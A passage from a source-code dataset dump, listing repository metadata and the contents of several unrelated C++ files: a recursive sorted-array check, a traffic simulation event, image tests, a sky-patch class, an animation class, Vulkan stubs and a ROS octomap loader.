hexsha
stringlengths 40
40
| size
int64 7
1.05M
| ext
stringclasses 13
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
269
| max_stars_repo_name
stringlengths 5
109
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
9
| max_stars_count
int64 1
191k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
269
| max_issues_repo_name
stringlengths 5
116
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
9
| max_issues_count
int64 1
48.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
269
| max_forks_repo_name
stringlengths 5
116
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
9
| max_forks_count
int64 1
105k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 7
1.05M
| avg_line_length
float64 1.21
330k
| max_line_length
int64 6
990k
| alphanum_fraction
float64 0.01
0.99
| author_id
stringlengths 2
40
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4e51f271aecf904b2424b36143a1c72d9b01eeae
| 362
|
cpp
|
C++
|
Coding Blocks cpp beginner/16.Recursion Basics/03_RecursionArrayisSorted.cpp
|
saqeeb360/Coding-block-C-
|
16cbf706c6a4a704bb07a4a535b64e03c381cd8d
|
[
"MIT"
] | 4
|
2021-02-27T07:12:03.000Z
|
2021-09-19T07:52:33.000Z
|
Coding Blocks cpp beginner/16.Recursion Basics/03_RecursionArrayisSorted.cpp
|
saqeeb360/Coding-block-C-
|
16cbf706c6a4a704bb07a4a535b64e03c381cd8d
|
[
"MIT"
] | null | null | null |
Coding Blocks cpp beginner/16.Recursion Basics/03_RecursionArrayisSorted.cpp
|
saqeeb360/Coding-block-C-
|
16cbf706c6a4a704bb07a4a535b64e03c381cd8d
|
[
"MIT"
] | 3
|
2021-05-31T06:25:56.000Z
|
2021-10-03T12:01:36.000Z
|
#include <iostream>
using namespace std;
bool isSorted(int *arr, int n){
// Base case
if(n==0 or n==1){
return true;
}
// Recursive case
if(arr[0] < arr[1] and isSorted(arr+1, n-1)){
return true;
}
return false;
}
int main(){
int arr[] = {1,2,3,14,5};
int n = sizeof(arr)/sizeof(arr[0]);
cout << isSorted(arr, n) <<endl;
}
| 16.454545
| 47
| 0.560773
|
saqeeb360
|
4e520af78139638ee0561e19b8578b1173ededcb
| 857
|
hpp
|
C++
|
Semaforo/src/Eventos/EntraCarro.hpp
|
luizfnunesmarques/datastructures
|
b37e399e0f1ff184f5f245cad6f89ce8419034a7
|
[
"Apache-2.0"
] | null | null | null |
Semaforo/src/Eventos/EntraCarro.hpp
|
luizfnunesmarques/datastructures
|
b37e399e0f1ff184f5f245cad6f89ce8419034a7
|
[
"Apache-2.0"
] | null | null | null |
Semaforo/src/Eventos/EntraCarro.hpp
|
luizfnunesmarques/datastructures
|
b37e399e0f1ff184f5f245cad6f89ce8419034a7
|
[
"Apache-2.0"
] | null | null | null |
/*
* EntraCarro.hpp
*
* Created on: 27/04/2015
* Author: LuizF
*/
#ifndef ENTRACARRO_HPP_
#define ENTRACARRO_HPP_
using namespace std;
#include "EventoDePista.hpp"
#include "CarroChegouFim.hpp"
#include "../Pista/Pista.hpp"
#include "../Relogio.hpp"
#include <tuple>
class EntraCarro: public EventoDePista {
public:
EntraCarro(int tempoExecucao, Relogio* relogio,
Pista* pista) :
EventoDePista(tempoExecucao, relogio, pista) {
}
;
Evento* Executar() {
try {
std::pair<int, int> resultAddCarro;
resultAddCarro = pista->AdicionarCarro();
relogio->AdicionaEvento(
new EntraCarro(resultAddCarro.second + nTempoExecucao,relogio, this->pista));
return new CarroChegouFim(nTempoExecucao + resultAddCarro.first, relogio, this->pista);
} catch (int excecao) {
return NULL;
}
}
;
};
#endif /* ENTRACARRO_HPP_ */
| 20.404762
| 90
| 0.70245
|
luizfnunesmarques
|
4e557e401d9b4c8bd264f279ad85d4652e3454c1
| 5,212
|
hpp
|
C++
|
Testbench/lambda.tests.hpp
|
gpdaniels/gtl
|
cd495343c5e89395be063a3dff6dfc41492c9677
|
[
"MIT"
] | 28
|
2018-07-23T06:52:19.000Z
|
2021-09-07T22:15:52.000Z
|
Testbench/lambda.tests.hpp
|
gpdaniels/gtl
|
cd495343c5e89395be063a3dff6dfc41492c9677
|
[
"MIT"
] | 17
|
2018-09-13T13:29:05.000Z
|
2021-01-04T09:23:31.000Z
|
Testbench/lambda.tests.hpp
|
gpdaniels/gtl
|
cd495343c5e89395be063a3dff6dfc41492c9677
|
[
"MIT"
] | 4
|
2019-02-27T13:33:16.000Z
|
2019-12-27T14:14:55.000Z
|
/*
The MIT License
Copyright (c) 2019 Geoffrey Daniels. http://gpdaniels.com/
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE
*/
#pragma once
#ifndef GTL_LAMBDA_TESTS_HPP
#define GTL_LAMBDA_TESTS_HPP
namespace testbench {
template <typename function_type>
class lambda;
template <typename return_type, typename... argument_types>
class lambda<return_type(argument_types...)> final {
private:
/// @brief A template to remove references from types.
template<typename type>
struct remove_reference final {
using type_unreferenced = type;
};
/// @brief A template to remove references from types.
template<typename type>
struct remove_reference<type&> final {
using type_unreferenced = type;
};
/// @brief A template to remove references from types.
template<typename type>
struct remove_reference<type&&> final {
using type_unreferenced = type;
};
/// @brief A template to check if two types are the same.
template<typename lhs_type, typename rhs_type>
struct is_same_type final {
constexpr static const bool value = false;
};
/// @brief A template to check if two types are the same.
template<typename type>
struct is_same_type<type, type> final {
constexpr static const bool value = true;
};
private:
void* function;
return_type (*executor)(const void*, argument_types...);
void (*destructor)(void*&);
public:
~lambda() {
if (this->destructor) {
this->destructor(this->function);
}
}
constexpr lambda()
: function(nullptr)
, executor(nullptr)
, destructor(nullptr) {
}
private:
constexpr static void swap(lambda& lhs, lambda& rhs) {
void* function = lhs.function;
lhs.function = rhs.function;
rhs.function = function;
return_type (*executor)(const void*, argument_types...) = lhs.executor;
lhs.executor = rhs.executor;
rhs.executor = executor;
void (*destructor)(void*&) = lhs.destructor;
lhs.destructor = rhs.destructor;
rhs.destructor = destructor;
}
public:
template <typename function_type>
constexpr lambda(const function_type& raw_function)
: lambda() {
// First get real function type.
using real_function_type = decltype(raw_function);
using pure_function_type = typename remove_reference<real_function_type>::type_unreferenced;
// If input is already a lambda type, cast can call the appropriate constructor.
constexpr bool is_lambda = is_same_type<lambda, pure_function_type>::value;
if constexpr (is_lambda) {
constexpr bool is_move = is_same_type<real_function_type, pure_function_type&&>::value;
if constexpr (is_move) {
lambda other(static_cast<lambda&&>(raw_function));
lambda::swap(*this, other);
}
else {
lambda other(static_cast<const lambda&>(raw_function));
lambda::swap(*this, other);
}
}
else {
this->executor = [](const void* function_pointer, argument_types... arguments) -> return_type {
return static_cast<const pure_function_type*>(function_pointer)->operator()(arguments...);
};
this->destructor = [](void*& function_pointer) -> void {
delete static_cast<pure_function_type*>(function_pointer);
function_pointer = nullptr;
};
}
}
private:
lambda(const lambda& other) = delete;
lambda& operator=(const lambda& other) = delete;
public:
constexpr return_type operator()(argument_types... arguments) const {
return this->executor(this->function, arguments...);
}
};
}
#endif // GTL_LAMBDA_TESTS_HPP
| 37.768116
| 111
| 0.623753
|
gpdaniels
|
4e60a8c9468d851ebdfeba874b5a922e5568ca27
| 818
|
cpp
|
C++
|
projects/Phantom.Code/phantom/lang/TemplateParameterPackTypeExpansion.cpp
|
vlmillet/Phantom.Code
|
05ed65bc4a456e76da4b2d9da1fe3dabe64ba1b3
|
[
"MIT"
] | null | null | null |
projects/Phantom.Code/phantom/lang/TemplateParameterPackTypeExpansion.cpp
|
vlmillet/Phantom.Code
|
05ed65bc4a456e76da4b2d9da1fe3dabe64ba1b3
|
[
"MIT"
] | null | null | null |
projects/Phantom.Code/phantom/lang/TemplateParameterPackTypeExpansion.cpp
|
vlmillet/Phantom.Code
|
05ed65bc4a456e76da4b2d9da1fe3dabe64ba1b3
|
[
"MIT"
] | null | null | null |
#include "TemplateParameterPackTypeExpansion.h"
#include "TemplateParameterPackExpansion.h"
#include <phantom/lang/PlaceholderType.h>
namespace phantom
{
namespace lang
{
TemplateParameterPackTypeExpansion::TemplateParameterPackTypeExpansion(TemplateParameterPackExpansion* a_pExpansion)
: Type(TypeKind::Unknown, a_pExpansion->getPackArgument()->asSymbol()->getName(), 0, 0,
a_pExpansion->getPackArgument()->asSymbol()->getModifiers(), PHANTOM_R_FLAG_TEMPLATE_DEPENDANT),
m_pExpansion(a_pExpansion)
{
PHANTOM_ASSERT(m_pExpansion->getPackArgument()->asPlaceholderType());
}
phantom::lang::PlaceholderType* TemplateParameterPackTypeExpansion::getPackArgument() const
{
return static_cast<PlaceholderType*>(m_pExpansion->getPackArgument());
}
} // namespace lang
} // namespace phantom
| 31.461538
| 116
| 0.789731
|
vlmillet
|
4e63b3b97b000b0b110886de85342ef1e62f4211
| 138
|
inl
|
C++
|
src/libs/dependency_graph/nodes.inl
|
martin-pr/possumwood
|
0ee3e0fe13ef27cf14795a79fb497e4d700bef63
|
[
"MIT"
] | 232
|
2017-10-09T11:45:28.000Z
|
2022-03-28T11:14:46.000Z
|
src/libs/dependency_graph/nodes.inl
|
LIUJUN-liujun/possumwood
|
745e48eb44450b0b7f078ece81548812ab1ccc63
|
[
"MIT"
] | 26
|
2019-01-20T21:38:25.000Z
|
2021-10-16T03:57:17.000Z
|
src/libs/dependency_graph/nodes.inl
|
LIUJUN-liujun/possumwood
|
745e48eb44450b0b7f078ece81548812ab1ccc63
|
[
"MIT"
] | 33
|
2017-10-26T19:20:38.000Z
|
2022-03-16T11:21:43.000Z
|
#pragma once
#include "graph.h"
#include "node_base.inl"
#include "nodes.h"
#include "nodes_iterator.inl"
namespace dependency_graph {}
| 15.333333
| 29
| 0.753623
|
martin-pr
|
4e653639daa6beee22a901dfe4dd8209fc3d41f7
| 712
|
cpp
|
C++
|
src/example_octomap_load.cpp
|
dringakn/ROSExamples
|
f4f19d21fab3630c112148e198f117f0466032c4
|
[
"MIT"
] | 2
|
2020-07-14T19:37:43.000Z
|
2020-07-15T04:38:09.000Z
|
src/example_octomap_load.cpp
|
dringakn/ROSExamples
|
f4f19d21fab3630c112148e198f117f0466032c4
|
[
"MIT"
] | null | null | null |
src/example_octomap_load.cpp
|
dringakn/ROSExamples
|
f4f19d21fab3630c112148e198f117f0466032c4
|
[
"MIT"
] | null | null | null |
/*
Author: Dr. Ing. Ahmad Kamal Nasir
Email: dringakn@gmail.com
Description:
*/
#include <octomap/octomap.h>
#include <octomap_msgs/Octomap.h>
#include <octomap_msgs/conversions.h>
#include <ros/ros.h>
int main(int argc, char* argv[]) {
ros::init(argc, argv, "load_octomap");
ros::NodeHandle nh("~");
std::string file_name;
nh.param<std::string>("map_file", file_name, "");
octomap::OcTree ot(file_name);
octomap_msgs::Octomap msg;
msg.header.frame_id = "map";
msg.header.stamp = ros::Time(0);
octomap_msgs::binaryMapToMsg(ot, msg);
ros::Publisher pubOcto;
pubOcto = nh.advertise<octomap_msgs::Octomap>("/octomap", 1, true);
pubOcto.publish(msg);
ros::spin();
return 0;
}
| 27.384615
| 69
| 0.68118
|
dringakn
|
4e67c9faa97cb01e092cbacddd432f2e5fbf69a4
| 5,377
|
cpp
|
C++
|
test/test_image.cpp
|
jamesdsmith/berkeley_sfm
|
de3ae6b104602c006d939b1f3da8c497b86d39ff
|
[
"BSD-3-Clause"
] | 21
|
2016-01-14T13:52:11.000Z
|
2022-01-03T19:30:33.000Z
|
test/test_image.cpp
|
jamesdsmith/berkeley_sfm
|
de3ae6b104602c006d939b1f3da8c497b86d39ff
|
[
"BSD-3-Clause"
] | 4
|
2015-10-17T17:01:46.000Z
|
2015-10-22T20:59:43.000Z
|
test/test_image.cpp
|
erik-nelson/berkeley_sfm
|
5bf0b45fac176ff7abfca0ff690893c1afc73c51
|
[
"BSD-3-Clause"
] | 7
|
2016-01-22T06:23:59.000Z
|
2018-01-16T03:54:33.000Z
|
/*
* Copyright (c) 2015, The Regents of the University of California (Regents).
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* Please contact the author(s) of this library if you have any questions.
* Authors: Erik Nelson ( eanelson@eecs.berkeley.edu )
* David Fridovich-Keil ( dfk@eecs.berkeley.edu )
*/
#include <image/image.h>
#include <strings/join_filepath.h>
#include <gflags/gflags.h>
#include <gtest/gtest.h>
DEFINE_string(testing_image_file, "lenna.png",
"Name of the image used for testing.");
namespace bsfm {
using Eigen::MatrixXf;
const std::string test_image =
strings::JoinFilepath(BSFM_TEST_DATA_DIR, FLAGS_testing_image_file.c_str());
TEST(Image, TestLoadImage) {
// Load an OpenCV image and convert it to floating point RGB.
cv::Mat image1 =
cv::imread(test_image.c_str(), CV_LOAD_IMAGE_COLOR);
cv::cvtColor(image1, image1, CV_BGR2RGB);
// Load the same image in our format.
Image image2(test_image.c_str());
size_t w = image1.cols;
size_t h = image1.rows;
EXPECT_EQ(w, image2.Width());
EXPECT_EQ(h, image2.Height());
for (size_t c = 0; c < w; ++c)
for (size_t r = 0; r < h; ++r)
EXPECT_EQ(image1.at<cv::Vec3b>(r, c), image2.at<cv::Vec3b>(r, c));
}
TEST(Image, TestResize) {
Image image(test_image.c_str());
image.Resize(256, 256);
EXPECT_EQ(256, image.Width());
EXPECT_EQ(256, image.Height());
image.Resize(2.0);
EXPECT_EQ(512, image.Width());
EXPECT_EQ(512, image.Height());
}
TEST(Image, TestConvertColor) {
Image image(test_image.c_str());
EXPECT_EQ(3, image.Channels());
image.ConvertToGrayscale();
EXPECT_EQ(1, image.Channels());
image.ConvertToRGB();
EXPECT_EQ(3, image.Channels());
for (size_t c = 0; c < image.Width(); ++c) {
for (size_t r = 0; r < image.Height(); ++r) {
cv::Vec3b pixel = image.at<cv::Vec3b>(r, c);
EXPECT_EQ(pixel[0], pixel[1]);
EXPECT_EQ(pixel[1], pixel[2]);
}
}
}
TEST(Image, TestCopy) {
Image image1(test_image.c_str());
Image image2(image1);
Image image3 = image1;
for (size_t c = 0; c < image1.Width(); ++c) {
for (size_t r = 0; r < image1.Height(); ++r) {
EXPECT_EQ(image1.at<cv::Vec3b>(r, c), image2.at<cv::Vec3b>(r, c));
EXPECT_EQ(image2.at<cv::Vec3b>(r, c), image3.at<cv::Vec3b>(r, c));
}
}
}
TEST(Image, TestLoadFromOpenCVMat) {
// Load an OpenCV image and convert it to floating point RGB.
cv::Mat image1 = cv::imread(test_image.c_str(), CV_LOAD_IMAGE_COLOR);
// Load the same image in our format.
Image image2(test_image.c_str());
// Copy the OpenCV image to make a third image.
Image image3(image1);
// Check for equality.
for (size_t c = 0; c < image2.Width(); ++c)
for (size_t r = 0; r < image2.Width(); ++r)
EXPECT_EQ(image2.at<cv::Vec3b>(r, c), image3.at<cv::Vec3b>(r, c));
}
TEST(Image, TestEigen) {
Image image(test_image.c_str());
// Create an Eigen matrix from the image.
MatrixXf eigen_mat;
image.ToEigen(eigen_mat);
// Get the image in OpenCV format.
image.ConvertToGrayscale();
cv::Mat cv_image;
image.ToCV(cv_image);
// Convert to floating point.
// cv_image.convertTo(cv_image, CV_32F, 1.f / 255.f);
// Make sure that the two matrices are equivalent.
for (size_t c = 0; c < image.Width(); ++c)
for (size_t r = 0; r < image.Width(); ++r)
EXPECT_EQ(static_cast<int>(cv_image.at<unsigned char>(r, c)),
eigen_mat(r, c));
// Convert back from Eigen to OpenCV.
cv::Mat cv_image2;
EigenMatToOpenCV(eigen_mat, cv_image2);
// Make sure that the two matrices are equivalent.
for (size_t c = 0; c < image.Width(); ++c)
for (size_t r = 0; r < image.Width(); ++r)
EXPECT_EQ(static_cast<int>(cv_image.at<unsigned char>(r, c)),
cv_image2.at<float>(r, c));
}
} //\namespace bsfm
| 32.197605
| 80
| 0.675098
|
jamesdsmith
|
4e69b35cba10bea57a7cd7b40aeaaeaf3599ad8b
| 930
|
cpp
|
C++
|
training/1-2-6-dualpal/cpp11/main.cpp
|
hsun324/usaco-solutions
|
27f77911971513a4d2b1b820eaa09802acadfefa
|
[
"MIT"
] | 2
|
2015-12-26T21:20:12.000Z
|
2017-12-19T00:11:45.000Z
|
training/1-2-6-dualpal/cpp11/main.cpp
|
hsun324/usaco-solutions
|
27f77911971513a4d2b1b820eaa09802acadfefa
|
[
"MIT"
] | null | null | null |
training/1-2-6-dualpal/cpp11/main.cpp
|
hsun324/usaco-solutions
|
27f77911971513a4d2b1b820eaa09802acadfefa
|
[
"MIT"
] | null | null | null |
/**
ID: <ID HERE>
LANG: C++11
TASK: dualpal
*/
#include <sstream>
#include <fstream>
#include <algorithm>
using namespace std;
char rebase_char(int digit) {
return digit + (digit < 10 ? '0' : 'A' - 10);
}
string rebase(int value, int base) {
stringstream result;
while (value > 0) {
result << rebase_char(value % base);
value /= base;
}
string reversed = result.str();
return string(reversed.rbegin(), reversed.rend());
}
bool palindromic(const string &str) {
return equal(str.begin(), str.begin() + (str.size() + 1) / 2, str.rbegin());
}
int main() {
ifstream cin("dualpal.in");
ofstream cout("dualpal.out");
int required, start;
cin >> required >> start;
for (int i = start + 1, count = 0; count < required; i++) {
for (int b = 2, n = 0; b <= 10; b++) {
if (palindromic(rebase(i, b))) {
if (n == 1) {
cout << i << endl;
count++;
break;
} else n = 1;
}
}
}
return 0;
}
| 17.884615
| 77
| 0.583871
|
hsun324
|
4e72f428c7a241c34d03e60409783333f8b7f91b
| 1,403
|
cpp
|
C++
|
ThePartingOfSarah/Animation.cpp
|
kriogenia/the-parting-of-sarah
|
91cdd70f4beb1530652021ebb3a5d81c6e981e1a
|
[
"MIT"
] | null | null | null |
ThePartingOfSarah/Animation.cpp
|
kriogenia/the-parting-of-sarah
|
91cdd70f4beb1530652021ebb3a5d81c6e981e1a
|
[
"MIT"
] | 1
|
2021-01-03T15:21:45.000Z
|
2021-01-03T15:21:45.000Z
|
ThePartingOfSarah/Animation.cpp
|
kriogenia/the-parting-of-sarah
|
91cdd70f4beb1530652021ebb3a5d81c6e981e1a
|
[
"MIT"
] | null | null | null |
#include "Animation.h"
Animation::Animation(string filename, float actorWidth, float actorHeight, float fileWidth,
float fileHeight, int updateFrequence, int totalFrames, bool loop, Game* game) :
actorWidth(actorWidth),
actorHeight(actorHeight),
fileWidth(fileWidth),
fileHeight(fileHeight),
updateFrequence(updateFrequence),
totalFrames(totalFrames),
loop(loop),
game(game),
updateTime(0),
currentFrame(0)
{
// Load texture
SDL_Surface* surface = IMG_Load(filename.c_str());
texture = SDL_CreateTextureFromSurface(game->renderer, surface);
// Calculate frame dimensiones
frameWidth = fileWidth / totalFrames;
frameHeight = fileHeight;
// Rectangle to show
source.x = 0;
source.y = 0;
source.w = frameWidth;
source.h = frameHeight;
}
bool Animation::update() {
updateTime++;
if (updateTime > updateFrequence) {
updateTime = 0;
currentFrame++;
if (currentFrame >= totalFrames) {
currentFrame = 0;
if (!loop) {
return true;
}
}
}
// Update frame rectangle
source.x = currentFrame * frameWidth;
return false;
}
void Animation::draw(float x, float y, float rotation) {
// Place to render
SDL_Rect destination;
destination.x = x - actorWidth / 2;
destination.y = y - actorHeight / 2;
destination.w = actorWidth;
destination.h = actorHeight;
SDL_RenderCopyEx(game->renderer,
texture, &source, &destination, rotation, NULL, SDL_FLIP_NONE);
}
| 23
| 92
| 0.722024
|
kriogenia
|
4e75f56ad363ec3babf6c8e783deaaea4c10abd6
| 999
|
cpp
|
C++
|
src/RenderSystem.Vulkan/GraphicsCommandQueueVulkan.cpp
|
ValtoForks/pomdog
|
73798ae5f4a4c3b9b1e1e96239187c4b842c93b2
|
[
"MIT"
] | null | null | null |
src/RenderSystem.Vulkan/GraphicsCommandQueueVulkan.cpp
|
ValtoForks/pomdog
|
73798ae5f4a4c3b9b1e1e96239187c4b842c93b2
|
[
"MIT"
] | null | null | null |
src/RenderSystem.Vulkan/GraphicsCommandQueueVulkan.cpp
|
ValtoForks/pomdog
|
73798ae5f4a4c3b9b1e1e96239187c4b842c93b2
|
[
"MIT"
] | null | null | null |
// Copyright (c) 2013-2018 mogemimi. Distributed under the MIT license.
#include "GraphicsCommandQueueVulkan.hpp"
#include "Pomdog/Utility/Assert.hpp"
#include "Pomdog/Utility/Exception.hpp"
namespace Pomdog {
namespace Detail {
namespace Vulkan {
void GraphicsCommandQueueVulkan::Reset()
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
void GraphicsCommandQueueVulkan::PushbackCommandList(const std::shared_ptr<GraphicsCommandList>& commandList)
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
void GraphicsCommandQueueVulkan::ExecuteCommandLists()
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
void GraphicsCommandQueueVulkan::Present()
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
std::size_t GraphicsCommandQueueVulkan::GetCommandCount() const noexcept
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
} // namespace Vulkan
} // namespace Detail
} // namespace Pomdog
| 25.615385
| 109
| 0.783784
|
ValtoForks
|
4e7796c885aaf4ec2c1944b109739e5ca64f22f6
| 559
|
hpp
|
C++
|
include/turtle/exception.hpp
|
sejd0n/turtle
|
ea548668cbff0b2f28594d27afdee3359186e7b0
|
[
"BSL-1.0"
] | 46
|
2015-03-25T21:00:57.000Z
|
2022-02-09T13:54:37.000Z
|
include/turtle/exception.hpp
|
sejd0n/turtle
|
ea548668cbff0b2f28594d27afdee3359186e7b0
|
[
"BSL-1.0"
] | 83
|
2015-03-25T22:00:43.000Z
|
2022-02-10T18:33:26.000Z
|
include/turtle/exception.hpp
|
sejd0n/turtle
|
ea548668cbff0b2f28594d27afdee3359186e7b0
|
[
"BSL-1.0"
] | 22
|
2015-04-28T01:38:22.000Z
|
2021-08-16T20:01:08.000Z
|
// http://turtle.sourceforge.net
//
// Copyright Mathieu Champlon 2012
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef MOCK_EXCEPTION_HPP_INCLUDED
#define MOCK_EXCEPTION_HPP_INCLUDED
#include "config.hpp"
#ifdef MOCK_USE_BOOST_TEST
#include <boost/test/execution_monitor.hpp>
namespace mock
{
struct exception : virtual boost::execution_aborted
{};
} // mock
#endif // MOCK_USE_BOOST_TEST
#endif // MOCK_EXCEPTION_HPP_INCLUDED
| 22.36
| 61
| 0.767442
|
sejd0n
|
4e790b94df565643c606c1d0e83c047d3bf8511a
| 2,863
|
cpp
|
C++
|
VFCLibrary/SKYTregenza.cpp
|
kaemco/CitySim-Solver
|
4274f442f57ab9e59869ec6652c370cc5bd400ee
|
[
"BSD-3-Clause"
] | 2
|
2021-02-22T14:50:18.000Z
|
2021-07-01T14:07:31.000Z
|
VFCLibrary/SKYTregenza.cpp
|
kaemco/CitySim-Solver
|
4274f442f57ab9e59869ec6652c370cc5bd400ee
|
[
"BSD-3-Clause"
] | 1
|
2022-02-03T09:40:17.000Z
|
2022-02-03T09:40:17.000Z
|
VFCLibrary/SKYTregenza.cpp
|
idiap/CitySim-Solver
|
fec9007a67660186e7bc3b090651bf80e08d4d0d
|
[
"BSD-3-Clause"
] | 3
|
2020-10-30T20:48:15.000Z
|
2021-09-03T08:51:39.000Z
|
#include "SKYTregenza.h"
#include "SKYRegularPatch.h"
#include "SKYTopPatch.h"
#ifdef _MSC_VER
#if defined(DEBUG_MEM)
#define CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>
#define new new(_NORMAL_BLOCK,__FILE__, __LINE__)
#endif
#endif // _MSC_VER
using std::vector;
const unsigned int SKYTregenza::patchesPerBand[8]={30,30,24,24,18,12,6,1};
SKYTregenza::SKYTregenza(void)
{
CreatePatches();
}
SKYTregenza::~SKYTregenza(void)
{
for (int i=0; i<(int)m_skyPatches.size(); ++i)
{
delete m_skyPatches[i];
}
}
void SKYTregenza::CreatePatches()
{
int i,j;
const int AzIncDegrees[7]={12,12,15,15,20,30,60};
// generate the sky patches
int patchCounter=0;
const float AltRange=12.f*(float)M_PI/180.f;
float Alt=6.f*(float)M_PI/180.f;
for (i=0; i<7; i++)
{
int RowCount=360/AzIncDegrees[i];
const float AzRange=2.f*(float)M_PI/RowCount;
float Az=0;
for (j=0; j<RowCount; j++)
{
// add a new sky patch to the vector
m_skyPatches[patchCounter] = new SKYRegularPatch(Alt,Az,AltRange, AzRange);
++patchCounter;
Az+=AzRange;
}
Alt+=12.f*(float)M_PI/180.f;
}
// add the top patch
m_skyPatches[patchCounter] = new SKYTopPatch(6.f*(float)M_PI/180.f,true);
++patchCounter;
// now the inverted sky
Alt=6.f*(float)M_PI/180.f;
for (i=0; i<7; i++)
{
int RowCount=360/AzIncDegrees[i];
const float AzRange=2.f*(float)M_PI/RowCount;
float Az=0;
for (j=0; j<RowCount; j++)
{
m_skyPatches[patchCounter] = new SKYRegularPatch(-Alt,Az,AltRange, AzRange);
++patchCounter;
Az+=AzRange;
}
Alt+=12.f*(float)M_PI/180.f;
}
// add the bottom patch
m_skyPatches[patchCounter] = new SKYTopPatch(6.f*(float)M_PI/180.f,false);
++patchCounter;
}
double SKYTregenza::getDeltaAzimuth(unsigned int band) { return 2.*M_PI/patchesPerBand[band]; }
double SKYTregenza::getPatchCenterAltitude(unsigned int patch) {
if ( patch == 144 ) return M_PI/2.;
else return asin( (sin( ALT*M_PI/180.*getPatchBand(patch) ) + sin( ALT*M_PI/180.*(getPatchBand(patch)+1) ) ) / 2. );
}
double SKYTregenza::getPatchCenterAzimuth(unsigned int patch) {
return fmod(m_skyPatches[patch]->centroid().Azimuth().radians()+2.*M_PI,2.*M_PI);
}
double SKYTregenza::zoneSphericalArea(double phi1, double theta1, double phi2, double theta2) {
return (sin(theta2)-sin(theta1))*(phi2-phi1);
}
double SKYTregenza::triangleSphericalArea(double phi1, double theta1, double phi2, double theta2) {
if (theta2 < theta1) {
return -((phi1-phi2)*(-cos(theta1)+cos(theta2)+(theta2-theta1)*sin(theta2)))/(theta1-theta2);
}
else if (theta2 > theta1) {
return ((phi1-phi2)*(-cos(theta1)+cos(theta2)+(theta2-theta1)*sin(theta1)))/(theta2-theta1);
}
else return 0.;
}
| 23.661157
| 121
| 0.654907
|
kaemco
|
4e790ee65e1657704cbd7838422fcdcec0642a82
| 61
|
cpp
|
C++
|
Source/TALK.cpp
|
pbghogehoge/kog
|
7d45ba8ddc1b01987ccca416dbd7901a23f4412f
|
[
"MIT"
] | 41
|
2019-02-08T09:10:30.000Z
|
2022-03-24T15:54:58.000Z
|
Source/TALK.cpp
|
pbghogehoge/kog
|
7d45ba8ddc1b01987ccca416dbd7901a23f4412f
|
[
"MIT"
] | null | null | null |
Source/TALK.cpp
|
pbghogehoge/kog
|
7d45ba8ddc1b01987ccca416dbd7901a23f4412f
|
[
"MIT"
] | 4
|
2019-02-08T09:26:59.000Z
|
2020-05-07T15:44:34.000Z
|
/*
* TALK.cpp : 会話命令用定数
*
